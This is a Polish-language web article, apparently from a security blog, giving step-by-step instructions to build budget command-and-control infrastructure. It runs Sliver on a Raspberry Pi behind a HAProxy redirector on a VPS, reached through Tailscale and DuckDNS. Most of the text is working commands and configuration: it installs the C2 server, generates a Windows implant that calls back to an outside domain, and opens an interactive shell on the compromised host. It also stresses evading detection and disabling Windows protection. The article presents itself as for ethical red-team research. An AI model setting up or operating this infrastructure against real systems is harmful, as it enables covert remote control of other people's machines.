Powrót do strony głównej

C2 na Raspberry Pi: budżetowa konfiguracja na wieczór | Cyberbezpieczeństwo

Przewodnik po tworzeniu budżetowej infrastruktury C2 na bazie Raspberry Pi 4 z wykorzystaniem Sliver, Tailscale i HAProxy. Szczegółowa konfiguracja komponentów, optymalizacja kosztów i zalecenia dotyczące eksploatacji. Rozwiązanie skierowane do badaczy w dziedzinie cyberbezpieczeństwa.

Jak złożyć serwer C2 na Raspberry Pi za 4 euro miesięcznie
Advertisement 728x90

# Budżetowa infrastruktura C2 na Raspberry Pi: montaż krok po kroku w jeden wieczór

Tworzenie infrastruktury dowodzenia i kontroli (C2) do badań w cyberbezpieczeństwie często kojarzy się z drogimi komercyjnymi rozwiązaniami. W tym przewodniku szczegółowo opisano implementację w pełni funkcjonalnego systemu C2 na Raspberry Pi 4 z wykorzystaniem otwartego oprogramowania. Nacisk położono na minimalizację kosztów przy zachowaniu kluczowych funkcji: szyfrowanego ruchu sieciowego, dynamicznego DNS i odporności na wykrycie. Materiał ten jest przeznaczony wyłącznie do celów edukacyjnych w ramach etycznego hackingu.

Układ budżetowej infrastruktury C2

Do montażu potrzebne będą:

  • Raspberry Pi 4 (4 GB RAM) — główny serwer implantów
  • Karta SD 32 GB
  • VPS z 2 GB RAM (koszt od 4 €/mies.) jako publiczny terminal
  • Tailscale — do organizacji zabezpieczonego tunelu między komponentami
  • Sliver v1.7.3 — otwarta alternatywa dla Cobalt Strike
  • DuckDNS — usługa dynamicznego DNS

Architektura systemu opiera się na schemacie: implant → duckdns.org:443 → VPS (HAProxy) → Tailscale → Raspberry Pi (Sliver:31337). Taka topologia ukrywa rzeczywisty adres IP Raspberry Pi za publicznym domenem i zapewnia szyfrowanie ruchu na wszystkich etapach transmisji.

Google AdInline article slot

Konfiguracja zabezpieczonego tunelu za pomocą Tailscale

Instalacja Tailscale na Raspberry Pi i VPS przebiega identycznie. Wykonaj w terminalu:

curl -fsSL https://tailscale.com/install.sh | sh
sudo tailscale up

Po autoryzacji przez przeglądarkę system przypisze każdemu węzłu unikalny adres Tailscale (np. Pi: 100.92.XX.XXX, VPS: 100.106.XXX.XX). Sprawdź łączność między węzłami:

ping 100.92.XXX.XXX

Kluczowa zaleta: ruch między komponentami jest szyfrowany end-to-end, co uniemożliwia przechwycenie na węzłach pośrednich. Tailscale automatycznie aktualizuje trasy przy zmianie adresów IP, co jest kluczowe dla stabilności połączenia.

Google AdInline article slot

Wdrażanie Sliver na Raspberry Pi

Pobierz binarny plik Sliver dla architektury ARM64:

cd /tmp
wget https://github.com/BishopFox/sliver/releases/download/v1.7.3/sliver-server_linux_arm64
sudo install -m 755 sliver-server_linux_arm64 /usr/local/bin/sliver-server

Uruchom serwer w trybie demona, zezwalając na połączenia z dowolnego interfejsu:

sliver-server daemon --lhost 0.0.0.0 --lport 31338

Słuchacz dla implantów aktywuje się na porcie 31337. Do zarządzania użyj konsoli Sliver: sliver-server console. Upewnij się, że port 31337 jest otwarty w zaporze sieciowej Raspberry Pi.

Google AdInline article slot

Konfiguracja HAProxy na VPS

Zainstaluj HAProxy na serwerze wirtualnym:

sudo apt install -y haproxy

Wprowadź zmiany w pliku konfiguracyjnym /etc/haproxy/haproxy.cfg:

global
    log /dev/log local0
    maxconn 10000

defaults
    mode tcp
    timeout connect 5s
    timeout client 60s
    timeout server 60s

frontend sliver_frontend
    bind :443
    default_backend sliver_backend

backend sliver_backend
    server pi4 100.92.XXX.XXX:31337 check

Restartuj usługę:

sudo systemctl enable haproxy
sudo systemctl start haproxy

HAProxy działa jako terminator TLS, przekierowując ruch z portu 443 na wewnętrzny adres Raspberry Pi przez Tailscale. Sprawdź działanie: openssl s_client -connect your-domen.duckdns.org:443.

Integracja dynamicznego DNS

Zarejestruj domenę w DuckDNS i powiąż ją z publicznym adresem IP VPS. Dla automatycznego aktualizowania adresu IP dodaj skrypt aktualizacji do crona. Sprawdź rozdzielczość domeny:

dig your-domen.duckdns.org

Ten krok jest kluczowy dla stabilności połączenia przy zmianie zewnętrznego IP VPS. DuckDNS gwarantuje, że nazwa domeny zawsze będzie wskazywać na aktualny adres serwera.

Generowanie i testowanie implantu

W konsoli Sliver utwórz słuchacz HTTP:

http --domain your-domen.duckdns.org --lhost 0.0.0.0 --lport 31337

Wygeneruj implant dla Windows z uwierzytelnianiem MTLS:

generate --mtls your-domen.duckdns.org:443 --format exe --os windows --save /tmp/sliver.exe

Przenieś plik na system testowy Windows 10 (wstępnie wyłącz ochronę dla celów demonstracyjnych). Po uruchomieniu implantu w konsoli Sliver pojawi się sesja:

[*] Session c5360843 UNIFORM_DISGUST - 100.106.xxx.xx:48190 (win10) - windows/amd64

Połącz się z sesją:

sessions -i c5360843
shell

Testy potwierdzają odporność połączenia: sesje nie przerywają się przy restarcie implantu lub zmianie środowiska sieciowego.

Optymalizacja i eksploatacja systemu

Dla zwiększenia odporności na awarie zaleca się:

  • Skonfigurować autostart Sliver przez systemd
  • Dodać monitorowanie logów HAProxy
  • Używać oddzielnych domen dla różnych słuchaczy
  • Regularnie aktualizować certyfikaty Let's Encrypt

Kluczowe polecenia do bieżącego zarządzania:

# Uruchomienie Sliver
sliver-server daemon --lhost 0.0.0.0 --lport 31338

# Wyświetlenie aktywnych sesji
sessions

# Wejście do interaktywnej powłoki
sessions -i <ID>\nshell

System umożliwia zarządzanie implantami przez aplikację mobilną Tailscale, co zapewnia dostęp do infrastruktury z dowolnego miejsca na świecie.

Co ważne

  • Architektura z podwójnym szyfrowaniem (TLS + Tailscale) zmniejsza prawdopodobieństwo wykrycia ruchu
  • Miesięczne koszty ograniczają się do opłaty za VPS (od 4 €), reszta oprogramowania jest otwarta
  • Raspberry Pi 4 zapewnia wystarczającą wydajność do obsługi do 50 jednoczesnych sesji
  • Integracja DuckDNS rozwiązuje problem dynamicznych IP bez dodatkowych kosztów
  • Sliver w pełni zastępuje komercyjne odpowiedniki przy podstawowej wiedzy o bezpieczeństwie sieci

— Editorial Team

Advertisement 728x90

Czytaj dalej